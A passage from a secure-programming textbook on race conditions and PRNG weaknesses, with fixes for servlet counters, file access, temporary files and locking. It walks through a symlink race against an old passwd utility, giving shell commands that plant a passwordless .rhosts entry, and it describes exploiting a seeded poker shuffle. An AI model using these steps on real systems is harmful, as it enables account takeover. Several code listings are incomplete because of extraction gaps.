model, but our focus here has been on portability. Despite this focus, our
general recommendations for working with any access control system
should apply to all: thoroughly familiarize yourself with the model, learn
the pitfalls, and above all, code defensively.
Race Conditions
9
R ace conditions are among the most common classes of bugs found in
deployed software. They are only possible in environments in which
there are multiple threads or processes occurring at once that may poten-
tially interact (or some other form of asynchronous processing, such as with
UNIX signals). People who have experience with multithread programming
have almost certainly had to deal with race conditions, regardless of whether
they know the term. Race conditions are a horrible problem because a pro-
gram that seems to work fine may still harbor them. They are very hard to
detect, especially if you’re not looking for them. They are often difficult
to fix, even when you are aware of their existence. Race conditions are one
of the few places where a seemingly deterministic program can behave in a
seriously nondeterministic way. In a world where multithreading, multipro-
cessing, and distributed computing are becoming more and more prevalent,
race conditions will continue to become a bigger and bigger problem.
Most of the time, race conditions present robustness problems.
However, there are plenty of times when race conditions have security im-
plications. In this chapter we explore race conditions and their security ram-
ifications. It turns out that file system accesses are subject to security-related
race conditions far more often than people tend to suspect.
209
210 Chapter 9 Race Conditions
import java.io.*;
import java.servlet.*;
import java.servlet.http.*;
public class Counter extends HttpServlet{
int count = 0;
public void doGet(HttpServletRequest in, HttpServletResponse
out)
What Is a Race Condition? 211
throws ServletException,
IOException {
out.setContentType("text/plain");
Printwriter p = out.getWriter();
count++;
p.println(count + " hits so far!");
}
}
This tiny piece of code may look straightforward and correct to most
people, but it has a race condition in it, because Java servlets are multi-
threaded. The programmer has implicitly assumed that the variable count
is the same when printed as it is after the previous line of code sets its value.
This isn’t necessarily the case. Let’s say that Alice and Bob both hit this
servlet at nearly the same time. Alice is first; the variable count becomes 1.
Bob causes count to be changed to 2, before println in Alice’s thread runs.
The result is that Alice and Bob both see 2, when Alice should have seen 1.
In this example, the window of vulnerability isn’t very large. It is, at most,
a fraction of a second.
Even if we move the increment of the counter into the expression in
which we print, there is no guarantee that it solves our problem. That is, the
following change isn’t going to fix the problem:
The reason is that the call to println takes time, as does the evaluation
of the argument. The amount of time may seem really small, maybe a few
dozen instructions. However, this isn’t always the case. In a multithread
system, threads usually run for a fraction of a second, then wait for a short
time while other threads get the chance to run. It could be the case that a
thread increments the counter, and then must wait to evaluate the argument
and run println. While that thread waits, some other thread may also
increment the counter.
It is true that the window of vulnerability is very small. In practice, this
means the bug may show up infrequently, if ever. If our servlet isn’t receiving
several hits per second, then it is likely never to be a problem. This alludes
to one of the reasons why race conditions can be so frustrating: When they
manifest themselves, reproducing the problem can be almost impossible.
Race conditions tend not to show up in highly controlled test environments.
If you don’t have any clue where to begin looking for a problem, you may
212 Chapter 9 Race Conditions
never find it. The same sorts of issues hold true even when the window of
opportunity is bigger.
In real-world examples, an attacker with control over machine resources
can increase the odds of exploiting a race condition by slowing down the
machine. Another factor is that race conditions with security implications
generally only need to be exploited once. That is, an attacker can automate
code that repeatedly tries to exploit the race condition, and just wait for it
to succeed. If the odds are one in a million that the attacker will be able to
exploit the race condition, then it may not take too long to do so with an
automated tool.
In general, the way to fix a race condition is to reduce the window of
vulnerability to zero by making sure that all assumptions hold for however
long they need to hold. The main strategy for doing this is to make the
relevant code atomic with respect to relevant data. By atomic, we mean that all
the relevant code executes as if the operation is a single unit, when nothing
can occur while the operation is executing. What’s happening with race condi-
tions is that a programmer assumes (usually implicitly) that certain operations
happen atomically, when in reality they do not. When we must make that
assumption, then we need to find a way to make the operation atomic. When
we don’t have to make the assumption, we can code the algorithm differently.
To make an operation atomic, we usually use locking primitives, especially
in multithread applications. For example, one way to fix our Java servlet
would be to use the object lock on the servlet by using the synchronized
keyword. The synchronized keyword prevents multiple threads from
running code in the same object that is governed by the synchronized key-
word. For example, if we have ten synchronized methods in a Java class,
only one thread can be running any of those methods at any given time.
The JVM implementation is responsible for enforcing the semantics of the
synchronized keyword.
Here’s a fixed version of the counter servlet:
import java.io.*;
import java.servlet.*;
import java.servlet.http.*;
public class Counter extends HttpServlet{
int count = 0;
public synchronized void
doGet(HttpServletRequest in, HttpServletResponse out)
throws ServletException,
IOException {
out.setContentType("text/plain");
What Is a Race Condition? 213
Printwriter p = out.getWriter();
count++;
p.println(count + " hits so far!");
}
}
The problem with this solution is that it can have a significant impact
on efficiency. In this particular case, we have made it so that only one thread
can run our servlet at a time, because doGet is the entry point. If the servlet
is incredibly popular, or if the servlet takes a long time to run, this solution
won’t work very well. People will have to wait to get their chance inside the
servlet, potentially for a long time. The solution is to keep the code we need
to be atomic (often called a critical section) as small as possible [Silberschatz,
1999]. In Java, we can apply the synchronized keyword to blocks of code.
For example, the following is a much better solution to our servlet problem:
import java.io.*;
import java.servlet.*;
import java.servlet.http.*;
public class Counter extends HttpServlet {
int count = 0;
public void
doGet(HttpServletRequest in, HttpServletResponse out)
throws ServletException,
IOException {
int my_count;
out.setContentType("text/plain");
Printwriter p = out.getWriter();
synchronized(this) {
my_count = ++count;
}
p.println(my_count + " hits so far!");
}
}
We could just put the call to println inside the synchronized block, and
avoid the use of a temporary variable. However, println is a method call,
which is somewhat expensive in and of itself. There’s no need for it to be in
the block, so we may as well remove it, to make our critical section finish as
quickly as possible.
As we have seen, race conditions may be possible whenever two or
more operations occur and one of the latter operations depends on the first.
In the interval between events, an attacker may be able to force something
214 Chapter 9 Race Conditions
Time-of-Check, Time-of-Use
Not every race condition occurs in threaded programs. Any time that
there are multiple threads of execution at once, race conditions are possible,
regardless of whether they are really simultaneous as in a distributed system,
such as on a single-processor multitasking machine. Therefore, multiple
processes on a single machine can have race conditions between them when
they operate on data that may be shared. What kinds of data may be shared?
Although some systems allow you to share memory between processes, all
systems allow processes to share files. File-based race conditions are the
most notorious in terms of security-critical race conditions.
Note that this kind of race condition is primarily a problem on UNIX
machines, mostly because local access is usually required. Much of the time,
if an attacker can remotely break into a Windows machine, the attacker
already has all the access necessary for whatever nefarious ends the attacker
has in mind. Also, many Windows machines are not really multiuser
machines. Nonetheless, this does not make security-critical, file-based race
conditions impossible on a Windows machine, and you should still watch
out for them. The Windows API for opening files makes these kinds of race
conditions much more difficult, but they are still possible.1
Most file-based race conditions that are security hazards follow a
common formula. There is a check on some property of the file that precedes
the use of that file. The check needs to be valid at the time of use for proper
behavior, but may not be. (Recall the elevator problem.) Such flaws are called
1. Windows definitely eliminates most file-related race conditions. First, Windows encourages
use of handles instead of continually referring to files as symbolic strings. Second, permissions
checks are often combined with the call to get a file handle. However, sloppy programming
can still produce a file-based race condition.
Time-of-Check, Time-of-Use 215
The access call checks whether the real UID has permissions for a
particular check, and returns 0 if it does. A text editor that needs to run as
root for some reason may do this. In this case, the attacker can create a file
that is malicious, such as a bogus /etc/passwd. It’s then just a matter of
exploiting the race condition to install it.
The window of vulnerability here is the time it takes to call fopen and
have it open a file, after having called access(). If an attacker can replace a
valid file to which the attacker has permissions to write with a file owned by
root, all within that time window, then the root file will be overwritten. The
easiest way to do this is by using a symbolic link, which creates a file that
acts very much like any other file, except that it “points to” some other file.
The attacker creates a dummy file with his permissions, and then creates a
symbolic link to it:
$ touch dummy
$ ln –s dummy pointer
$
Now, the attacker tells the program to open the file pointer. The
attacker’s goal is to perform a command such as the following within the
window of vulnerability:
If successful, the program will overwrite the system password file. The
attacker will have a better chance of success if using a C program that makes
system calls directly rather than using the shell. To make the job easy, the
attacker would write a program that fires up the editor, performs these com-
mands, checks to see if the real password file was overwritten, and repeats the
attack until successful. Problems like this are unfortunately common. A well-
known, similar problem in old versions of xterm provides a classic example.
When it comes to exploitable file system race conditions, there are a few
things that should be true. Usually, the attacker must have access to the local
machine, legitimate or not. Also, the program with the race condition needs
to be running with an EUID of root. The program must have this EUID for
the period of time over which the race condition exists. Otherwise, the
attacker will not be able to obtain root privileges, only the privileges he
already has. There is no sense in running a race for your own privilege!
Broken passwd
Let’s look at a historic case of a TOCTOU problem (introduced in [Bishop,
1996]): a broken version of the passwd command on SunOS and HP/UX
machines. The UNIX utility program passwd allows someone to change a
password entry, usually their own. In this particular version of the program,
passwd took the name of a password file to manipulate as one of its parame-
ters. The broken version of passwd works as follows when the user inputs a
passwd file to use:
passwd step 1. Open the password file and read it in, retrieving the
entry for the user running the program.
passwd step 2. Create and open a temporary file called ptmp in the
same directory as the password file.
passwd step 3. Open the password file again, copying the unchanged
contents into ptmp, while updating modified information.
passwd step 4. Close both the password file and ptmp, then rename
ptmp to be the password file.
Let’s pretend we’re the attacker, and that we can “step” the activities of
passwd at will (causing it to wait for us in between steps while we modify
the file system). Of course, in practice, we need to automate our attack, and
run it multiple times in parallel with the passwd process until we hit just the
right interleaving.
Time-of-Check, Time-of-Use 217
In this attack, we are going to overwrite some other user’s .rhosts file
so that we can log in as that user. We could just as easily write over the
system password file. We’ll also use symbolic linking on a directory level,
instead of a file level.
Figure 9–1A shows the state of the file system just before our attack
begins. Note that we’re running our attack in our own directory, attack-dir,
within which we’ll create a subdirectory pwd and the file .rhosts. We also
need to fill the .rhosts file with valid information (a simulated password file
entry with a blank password). And finally, we run passwd itself.
Here’s how to do this in a generic UNIX shell:
$ mkdir pwd
$ touch pwd/.rhosts
$ echo "localhost attacker :::::" >> pwd/.rhosts
$ ln –s pwd link
$ passwd link/.rhosts
A
link
attack-dir/pwd/.rhosts
target-dir/.rhosts
open
read passwd link/.rhosts
B
link
attack-dir/pwd/.rhosts
target-dir/.rhosts
target-dir/ptmp
passwd link/.rhosts
open
Figure 9–1 (A) The state of the system after step 1 of the passwd race condition.
(B) The state of the system after step 2 of the passwd race condition.
218 Chapter 9 Race Conditions
And then . . .
passwd step 1. Open and read the password file (link/.rhosts)
to retrieve the entry for the user running the program. Just after
step 1, passwd will have opened and read the file we created
(link/.rhosts). The system is now in a situation similar to what
is shown in Figure 9–1A. Before step 2 runs, we need to change
link quickly to point to target-dir. This is the part that must
happen with exactly the right timing. (In our pretend version of the
attack, remember that we have control over what happens when.)
Change the link as follows: rm link; ln –s target-dir link
(target-dir actually has to be specified relative to the root
directory, but we’ll ignore that detail in our simplified example).
passwd step 2. Create and open a temporary file called ptmp in the
same directory as the password file (link/.rhosts). Note that
passwd is now using a different location to write out the file ptmp.
It ends up creating a file in target-dir called ptmp, because link
now points to target-dir. Now quickly, before step 3 happens, we
need to change the link to point back to our directory as follows: rm
link; ln –s pwd link. We need to do this because the passwd file is
going to be looking for an entry in it with our UID. If we’re attack-
ing the system password file, we wouldn’t have to go through this
step (see Figure 9–1B).
passwd step 3. Open the password file (link/.rhosts in attack-dir)
again and copy the contents of ptmp while updating the changed
information. Note that the file ptmp has not yet been closed, so it is
still the file that lives in target-dir. This means that the .rhosts
file is being read from our pwd directory and is being copied to the
temporary file in target-dir. See Figure 9–2A.
Finally, once again, we need to change link quickly to point
to the target-dir: rm link; ln –s target-dir link. We do this
so that when passwd performs step 4, its version of link points to
target-dir again.
passwd step 4. Close both the password file and ptmp, then rename
ptmp to be the password file. After all this work, our attack will have
written a new .rhosts file into target-dir. This allows us to log in
to the target’s account with no password (remember all those ::::’s?)
and become the user who owns target-dir. Note that we can do
Time-of-Check, Time-of-Use 219
A
link
attack-dir/pwd/.rhosts
target-dir/.rhosts
target-dir/ptmp
read
passwd link/.rhosts
write
B
link
attack-dir/pwd/.rhosts
target-dir/.rhosts
target-dir/ptmp move
passwd link/.rhosts
Figure 9–2 (A) The state of the system after step 3 of the passwd race condition.
(B) The state of the system after step 4 of the passwd race condition.
220 Chapter 9 Race Conditions
1. lstat() the file before opening it, saving the stat structure. Note
that this may be susceptible to a race condition if we perform no
other checks.
2. Perform an open().
3. fstat() the file descriptor returned by the open() call, saving the
stat structure.
4. Compare three fields in the two stat structures to be sure they are
equivalent: st_mode, st_ino and st_dev. If these comparisons are
successful, then we know the lstat() call happened on the file we
ultimately opened. Moreover, we know that we did not follow a
symbolic link (which is why we used lstat() instead of stat()).
If the file does not exist, lstat() says so, but an attacker may be able to
place a file there where there isn’t one, before you perform the open(). To
thwart this problem, pass the O_CREAT and O_EXCL flags to open(), which
causes the open to fail if the file cannot be created.
As an example of these techniques, here is some code that shows how to
open a file safely in a way that simulates fopen’s w+ mode. That is, the file
should be created if it doesn’t exist. If it does exist, then it will be truncated:
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
Time-of-Check, Time-of-Use 221
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
if(fstat(fd, &fstat_info) == –1 ||
lstat_info.st_mode != fstat_info.st_mode ||
lstat_info.st_ino != fstat_info.st_ino ||
lstat_info.st_dev != fstat_info.st_dev ) {
close(fd);
return 0;
}
close(fd);
unlink(fname);
return 0;
}
return fp;
}
Note in the previous code that we truncate the file ourselves, and only after
ensuring that it is safe to do so.
geteuid() if not running as root). The root UID is implicitly trusted. If any
parent directory has bad permissions, giving others more access to the direc-
tory than necessary (in other words, if the write or execute permissions are
granted to anyone other than the owner), then safe_dir fails:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
if(cur == -1) {
return –1;
}
if(lstat(dir, &linf) == –1) {
close(cur);
return –2;
}
do {
chdir(dir);
if((fd = open(".", O_RDONLY)) == –1) {
fchdir(cur);
close(cur);
return –3;
}
if(fstat(fd, &sinf) == –1) {
fchdir(cur);
close(cur);
close(fd);
return –4;
}
close(fd);
if(linf.st_mode != sinf.st_mode ||
linf.st_ino != sinf.st_ino ||
linf.st_dev != sinf.st_dev)
{
fchdir(cur);
close(cur);
return –5;
}
224 Chapter 9 Race Conditions
fchdir(cur);
close(cur);
return 0;
}
The previous code is a bit more draconian than it strictly needs to be,
because we could allow for appropriate group permissions on the directory
if the owning GID is the only nonroot user with access to that GID. This
technique is simpler and less error prone. In particular, it protects against
new members being added to a group by a system administrator who doesn’t
fully understand the implications.
Once we’ve created this directory, and assured ourselves it cannot fall
under the control of an attacker, we will want to populate it with files. To
create a new file in this directory, we should chdir() into the directory, then
double check to make sure the file and the directory are valid. When that’s
done, we open the file, preferably using a locking technique appropriate to
the environment. Opening an existing file should be done the same way,
except that you should check appropriate attributes of the preexisting file
for safety’s sake.
What about securely deleting files? If you’re not using the secure
directory approach, you often cannot delete a file securely. The reason is
that the only way to tell the operating system to remove a file, the unlink()
call, takes a filename, not a file descriptor or a file pointer. Therefore, it is
Temporary Files 225
Temporary Files
Creating temporary files in a shared space such as /tmp is common practice.
Temporary files are susceptible to the same potential problems that regular
files are, with the added issue that a smart attacker may be able to guess the
226 Chapter 9 Race Conditions
filename (see Chapter 10 for problems with generating data that cannot be
guessed). To alleviate the situation, most C libraries2 provide calls to
generate temporary files. Unfortunately, many of these calls are themselves
insecure.
We recommend the following strategy for creating a secure temporary
file, especially if you must create one in a shared directory for some reason:
1. Pick a prefix for your filename. For example, /tmp/my_app.
2. Generate at least 64 bits of high-quality randomness from a
cryptographically secure source (see Chapter 10).
3. base64 encode the random bits (see Chapter 11).
4. Concatenate the prefix with the encoded random data.
5. Set umask appropriately (0066 is usually good).
6. Use fopen() to create the file, opening it in the proper mode.
7. Unless the file is on a disk mounted off the network (which is not
recommended), delete the file immediately using unlink(). Don’t
worry, the file does not go away until you close it.
8. Perform reads, writes, and seeks on the file as necessary.
9. Finally, close the file.
Never close and reopen the file if it lives in a directory that may be sus-
ceptible to a race condition. If you absolutely must close and reopen such a
file, then you should be sure to use a secure directory, just as we recommend
with regular files.
File Locking
One good primitive to have in our toolbox is a technique for locking files,
so we don’t accidentally create a race condition. Note, however, that file
locking on most operating systems is discretionary, and not mandatory,
meaning that file locks are only enforced by convention, and can be cir-
cumvented. If you need to make sure that unwanted processes do not
circumvent locking conventions, then you need to make sure that your file
(and any lock files you may use) are in a directory that cannot be accessed
by potential attackers. Only then can you be sure that no one malicious is
circumventing your file locking.
At a high level, performing file locking seems really easy. We can just use
the open() call, and pass in the O_EXCL flag, which asks for exclusive access
to the file. When that flag is used, the call to open() only succeeds when the
2. Here we’re talking about the default library that comes with the compiler or machine.
Other Race Conditions 227
file is not in use. Unfortunately, this call does not behave properly if the file
we are trying to open lives on a remote NFS-mounted file system running
version 1 or version 2 of NFS. This is because the NFS protocol did not
begin to support O_EXCL until version 3. Unfortunately, most NFS servers
still use version 2 of the protocol. In such environments, calls to open() are
susceptible to a race condition. Multiple processes living on the network
can capture the lock locally, even though it is not actually exclusive.
Therefore, we should not use open() for file locking if we may be running
in an environment with NFS. Of course, you should probably avoid NFS-
mounted drives for any security-critical applications, because NFS versions
prior to version 3 send data over the network in the clear, and are subject to
attack. Even in NFS version 3 (which is not widely used at the time of this
writing), encryption is only an option. Nevertheless, it would be nice to have a
locking scheme that would work in such an environment. We can do so by
using a lock file. The Linux manual page for open(2) tells us how to do so:
The solution for performing atomic file locking using a lockfile is to create
a unique file on the same fs (e.g., incorporating hostname and pid), use
link(2) to make a link to the lockfile. If link() returns 0, the lock is
successful. Otherwise, use stat(2) on the unique file to check if its link
count has increased to 2, in which case the lock is also successful.
policy cannot be changed on the fly. The only way to change Java 2 policy is
to restart the JVM.
Security researchers have begun to suggest ways in which policy may be
reset during the execution of a particular JVM. Here is where we get back
around to race conditions.
One problem with setting policy on the fly is that Java is a multithread
environment. What this means is that more than one process or subprocess
is often interweaved as the JVM does its work. This is the property that
allows Java to play a sound file at the same time it displays a video of
dancing pigs on your favorite Web site! But a multiprocess environment
is, by its very nature, susceptible to race conditions.
One early research prototype suggested a way of updating policy on the
fly as a JVM runs. Unfortunately, the designers forgot about race conditions.
The system presented a straightforward way of removing old policy and
installing new policy, but there was a central assumption lurking behind the
scenes of which attackers could take advantage. The unstated idea was that
nothing could happen between the policy deletion operation and the policy
creation operation. This assumption is not easy to guarantee in a multi-
thread system like Java. The design was quite susceptible to a race condition
attack, and needed to be fixed.
Conclusion
Concurrent programs are incredibly difficult to debug. Race conditions are
just the most security-relevant type of concurrency problem. We recommend
that you stay away from multithread systems when a single thread will do.
Nonetheless, when you are working on a system that makes use of time-
critical multiprocessing, don’t forget the race condition! Design defensively,
and think carefully about the assumptions that you’re making between
operations.
This page intentionally left blank
Randomness and Determinism
10
231
232 Chapter 10 Randomness and Determinism
some, but it is often difficult to figure out how much we have. It’s also
usually difficult to generate a lot of it. We discuss methods for gathering
entropy later in the chapter.
In practice, what we do is take any entropy we can gather and use it
to seed a PRNG. Note that the security of our seed is measured in the exact
same way we measure the security of a block cipher. If we honestly believe
that our seed data has n bits of entropy, then the best attack for compromising
the seed will be a brute-force attack, taking up to 2n operations. Of course, a
poor PRNG allows for attacks that take fewer operations.
Therefore, if we have a 32-bit seed, then we end up with quite weak
security, even if the seed is generated by some external source that really did
produce 32 bits of entropy. If we have a well-chosen 256-bit seed (in other
words, we expect it to have close to 256 bits of entropy), then the stream of
numbers pouring from a PRNG cannot be guessed, as long as the algorithm
turning that seed into a stream of numbers is invulnerable to attack.
So far, we have assumed that the attacker knows the inner workings of
our PRNG, and also knows the inner workings of the software using the
PRNG. Granted, this is not always the case. Throughout this book we talk
about why these kinds of assumptions turn out to be a bad idea. There are
plenty of ways in which such assumptions can be violated, many of which
are not anticipated by software practitioners. To compensate, we practice
the principle of defense in depth, and assume the worst.
The previous assumptions are similar to those that cryptographers
make when analyzing cryptographic algorithms. In fact, a good PRNG is
considered a cryptographic algorithm, and is said to provide a cryptographi-
cally secure stream of random numbers. Therefore, a good cryptographic
PRNG is designed in such a way that, given enough entropy, it keeps pro-
ducing numbers that are hard to guess, even if an attacker knows the full
details of the algorithm.
Note that cryptographic PRNGs are essentially synonymous with
stream ciphers (a form of symmetric cipher). Stream ciphers produce a
series of pseudo-random data, given some starting state (the key), which is
XOR-ed with the plaintext to yield the ciphertext.
In contrast to cryptographic PRNGs, there are traditional statistical
PRNGs. Statistical PRNGs are not meant for use in security-critical appli-
cations. The primary goal of a statistical PRNG is to produce a sequence of
data that appears random to any statistical test. Also, statistical random
number generators should be able to generate a number within a given
range, in which each number is chosen with equal probability (in other
234 Chapter 10 Randomness and Determinism
Examples of PRNGs
The most common type of PRNG is called a linear congruential generator.
This type of generator takes the form
Xn + 1 = (aXn + b) mod c
state that needs to be guessed is small. Generally, a few outputs are all that
are necessary to figure out the entire internal state. There are only four
billion possible places on a standard random number “wheel.” (With many
random number generation algorithms, including linear congruential gen-
erators, all the numbers between 0 and 4,294,967,295 are generated exactly
once, then the sequence repeats.) If we observe enough numbers, even if the
numbers are adjusted to be somewhere between 0 and 50, we can eventually
figure out how the generator was seeded. We can do this by trying all four
billion possible seeds in order and looking for a subsequence in the PRNG
stream that matches the one your program is exhibiting. Four billion is not
a big number these days. Given a handful of good-quality PCs, the sup-
posedly-big-enough space can be “brute forced” in almost real time.
Nonetheless, improving the algorithm to work on 64-bit numbers or
128-bit numbers does not help. This is because these generators are susceptible
to other forms of attack, because they essentially give away state with each
output.
You should assume that any PRNG not advertised to be “cryptographic”
is unsuitable for use in secure programming. For example, geometric PRNGs
turn out to be susceptible to cryptographic attacks, and should therefore be
avoided.
This generator yields as little as 1 bit of data at a time. The ith random bit
(bi) is computed as follows:
xi = xi – 1 mod n
2
bi = xi mod 2
Basically, we’re looking at the least significant bit of xi, and using that as a
random bit.
It turns out that you can use more than just the single least significant
bit at each step. For a Blum number N, you can safely use log2N bits at
each step.
depends on the noninvertibility of the hash function for its security. Still
other generators rely on compression functions. However, cryptographic
hash algorithms always make strong use of compression functions
internally.
The flaw exists in the card shuffling algorithm used to generate each
deck. Ironically, the shuffling code was publicly displayed in an on-line FAQ
with the idea of showing how fair the game is to interested players (the page
has since been taken down), so it did not need to be reverse engineered or
guessed.
In the code, a call to randomize() is included to reseed the random
number generator with the current time before each deck is generated. The
implementation, built with Delphi 4 (a Pascal development environment),
seeds the random number generator with the number of milliseconds since
midnight according to the system clock. This means that the output of the
random number generator is easily predicted. As we’ve discussed, a pre-
dictable “random number generator” is a very serious security problem.
The shuffling algorithm used in the ASF software always starts with an
ordered deck of cards, and then generates a sequence of random numbers
used to reorder the deck. In a real deck of cards, there are 52! (approxi-
mately 2226) possible unique shuffles. Recall that the seed for a 32-bit
random number generator must be a 32-bit number, meaning that there are
just more than four billion possible seeds. Because the deck is reinitialized
and the generator is reseeded before each shuffle, only four billion possible
shuffles can result from this algorithm, even if the seed had more entropy
than the clock. Four billion possible shuffles is alarmingly less than 52!.
The flawed algorithm chooses the seed for the random number gener-
ator using the Pascal function Randomize(). This particular Randomize()
function chooses a seed based on the number of milliseconds since midnight.
There are a mere 86,400,000 milliseconds in a day. Because this number
was being used as the seed for the random number generator, the number of
possible decks now reduces to 86,400,000. Eighty-six million is alarmingly
less than four billion.
In short, there were three major problems, any one of which would have
been enough to break their system:
1. The PRNG algorithm used a small seed (32 bits).
2. The PRNG used was noncryptographic.
3. The code seeded with a poor source of randomness (and, in fact,
reseeded often).
The system clock seed gave the Cigital group an idea that reduced the
number of possible shuffles even further. By synchronizing their program
with the system clock on the server generating the pseudo-random number,
they were able to reduce the number of possible combinations down to a
number on the order of 200,000 possibilities. After that move, the system is
240 Chapter 10 Randomness and Determinism
broken, because searching through this tiny set of shuffles is trivial and can
be done on a PC in real time.
The Cigital-developed tool to exploit this vulnerability requires five
cards from the deck to be known. Based on the five known cards, the
program searches through the few hundred thousand possible shuffles and
deduces which one is a perfect match. In the case of Texas Hold ’em Poker,
this means the program takes as input the two cards that the cheating player
is dealt, plus the first three community cards that are dealt face up (the flop).
These five cards are known after the first of four rounds of betting and are
enough to determine (in real time, during play) the exact shuffle.
Figure 10–1 shows the GUI for the exploit. The Site Parameters box in
the upper left is used to synchronize the clocks. The Game Parameters box
in the upper right is used to enter the five cards and to initiate the search.
Figure 10–1 is a screen shot taken after all cards have been determined by
the program. The cheating attacker knows who holds what cards, what the
rest of the flop looks like, and who is going to win in advance.
Once the program knows the five cards, it generates shuffles until it
discovers the shuffle that contains the five known cards in the proper order.
Because the Randomize() function is based on the server’s system time, it is
not very difficult to guess a starting seed with a reasonable degree of
accuracy. (The closer you get, the fewer possible shuffles through which you
have to look.) After finding a correct seed once, it is possible to synchronize
the exploit program with the server to within a few seconds. This post facto
synchronization allows the program to determine the seed being used by the
random number generator, and to identify the shuffle being used during all
future games in less than 1 second.
ASF Software was particularly easy to attack. However, most uses of
linear congruential PRNGs are susceptible to this kind of attack. These
kinds of attack always boil down to how many outputs an attacker must
observe before enough information is revealed for a complete compromise.
Even if you are only selecting random numbers in a fairly small range, and
thus throwing away a large portion of the output of each call to rand(),
it usually doesn’t take very many outputs to give away the entire internal
state.
Commonly, people use data that do not contain much entropy to seed
PRNGs, including network addresses, host names, people’s names, and the
programmer’s mother’s maiden name. These kinds of data are also used
frequently when picking cryptographic keys. Note that these values don’t
change very often, if at all. If an attacker can figure out how you’re picking
your data (usually a safe bet), it becomes a matter of hunting down the
requisite information.
A more common thing to do is to seed the PRNG with the current
value of the clock. Remember that the clock is only a 32-bit value on most
systems, so it can never provide more than 32 bits worth of entropy, which
is not enough. When estimating how much entropy we have, we would
conservatively estimate no more than 4 bits of entropy. If you then sample
the clock on a regular basis, you get very little entropy. Although you may
get some, our conservative nature leads us to assume that you do not.
Obviously, we need better ways of generating seed data with sufficient
entropy for most applications. This section deals with collecting such data,
as well as estimating how much entropy is in those data. Unfortunately,
picking and implementing a PRNG is the easy part. Gathering entropy is
often quite difficult. More difficult still is determining how much entropy
has really been gathered. It usually comes down to an educated guess.
Therefore, we recommend that your guesses be very conservative.
Hardware Solutions
Using dedicated hardware for producing entropic data tends to produce
entropy at much higher rates than software solutions. Also, assumptions
about how much entropy has actually been gathered are more likely to be
correct. Of course, there are a number of broken hardware random number
generators too.
Suffice it to say that we do realize that hardware-based solutions aren’t
always feasible. For example, you may wish to distribute an application to
hundreds of thousands of users around the globe, and still need good random
numbers on each and every desktop. Until every computer in the world is
fitted with a good random number generator in hardware, there will always
be a real need for software that comes as close as possible to true randomness.
The way that hardware sources generate their random numbers is to
derive them from some natural stochastic process. A good source for random
data is measuring the thermal noise off a semiconductor diode, although if
improperly shielded, nearby hardware can bias the output. Most commercially
available hardware random number generators seem to be of this variety.
Entropy Gathering and Estimation 243
their plans, and the generator does not appear in future chipsets. As of this
writing, we have been unable to confirm or deny these rumors. We do think
it would be of great benefit for such generators to be widely available on
desktop computers.
There are, of course, other lesser known products for generating random
numbers in hardware. There are even a few resources on the Web (see linked
to through this book’s companion Web site) that can show those of you who
are adept at building hardware how to build your own hardware random
number generator on the cheap.
How much entropy do hardware sources actually give? This can cer-
tainly vary widely. However, if you’re using a high-quality source, there may
be nearly as much entropy as output. We believe that a good, conservative
approach is to test output continually with statistical tests (discussed later),
and then, if the tests succeed, to assume one quarter the amount of entropy
as the number of bits of output. More liberal approaches are probably fine,
in practice. However, hardware devices tend to give a high bandwidth of out-
put, so you can probably afford to be conservative. Moreover, we’ve learned
many times over that it pays to be conservative when it comes to security.
Software Solutions
We’ve noted that, because computers are completely deterministic, pure
software solutions for gathering entropy can always be compromised by an
attacker, given the right resources. Really, this is more a theoretical problem
than a practical reality. Yes, people could use special devices to figure out
exactly what your machine is doing at all times. Yes, an attacker could break
into the location where your machine is stored, and change the kernel.
In reality, most applications use software sources of randomness anyway,
because external sources for random numbers can be quite inconvenient.
After all, hardware sources don’t currently come preinstalled on every desk-
top. Even when random numbers are only needed on a small number of
machines, dedicated hardware remains an additional cost that many people
are unwilling to pay.
If we make the assumption that a machine is not completely compro-
mised, then we can get entropy from software. Ultimately, all such entropy
is derived from external inputs that affect the state of a deterministic computer.
We bank on the idea of measuring inputs that should be unpredictable, such
as keyboard presses.
Also, note that even the few inputs a computer does get can cause it to
behave in ways that are difficult to simulate. Software is complex, and its
246 Chapter 10 Randomness and Determinism
Currently, we won’t worry about how to take data we gather that may
have entropy in it and convert it into a statistically random number. We
need to do this, but we discuss it in the section entitled Handling Entropy.
For now, when we take a measurement and try to get entropy from it, we
take as much related data as possible that may provide any entropy. In
particular, we not only use the value of the measurement, we also use the
time at which we took the measurement.
Things are best if our entropy is “pushed” to us. For example, when a
key press occurs, we then wring more entropy from recording a time stamp
than if we poll for the most recent keystroke every tenth of a second. This is
because there are far fewer possible values of the time stamp when you poll.
However, polling does potentially add a little bit of entropy. When you
perform any sort of wait for a particular interval, there is no guarantee that
your wait will end exactly on that interval. Usually, your wait ends a little
bit late. How much, can vary. Nonetheless, when performing any polling
solution, we suggest that you don’t rely on that behavior when estimating
entropy.
Entropy Gathering and Estimation 247
#include <sys/time.h>
#include <unistd.h>
#include <stdio.h>
sched_yield();
}
gettimeofday(end, NULL);
}
The challenge here is to figure out how much entropy this actually
provides us in practice. Unfortunately, this is an incredibly complex task,
requiring not only a good handle on all possible attacks against a system,
but an excellent command of information theory. Entropy estimation is the
area in which software random number generation systems are weakest. By
that, we don’t necessarily mean that the entropy estimation code leads to
attacks. We mean that it tends to be particularly ad hoc, and not necessarily
supported by hard fact. We’re not going to use highly accurate techniques
for entropy estimation here. The reality is that the computer science research
community still needs to address the problem. As a result, we can’t realis-
tically recommend easy solutions. Instead, we’ll use some okay ad hoc
techniques to guess how much entropy is present, and then make a con-
servative guess based on the result.
Right now, most libraries that deal with software-based entropy
collection don’t try very hard to estimate how much entropy they have.
Instead, they tend to take the “Hail Mary” approach, collecting entropy
for a while, and hoping that they collect enough. We would rather have an
ad hoc estimate that we believe to be conservative than to have no estimate
at all.
An off-the-cuff approach is to look at the time something takes in
milliseconds, and then compare the differences between many subsequent
timings in a highly controlled environment, trying to see which bits of the
difference seem to have some entropy. We look only at the two least sig-
nificant bytes of the deltas, which should be changing fastest. For each delta,
we look at each bit in that byte, and count how many times it was 0 and
how many times it was 1:
Entropy Gathering and Estimation 249
#include <sys/time.h>
#include <unistd.h>
#include <stdio.h>
}
}
printf("Results, from least significant bit up:\n");
for(i=0;i<SHOW;i++) {
printf ("Bit %d: %ld ones out of %ld trials.\n", i, count[i],
NUM_TRIALS);
}
}
2. This metric is pretty arbitrary. Because researchers have not yet given us sound metrics for
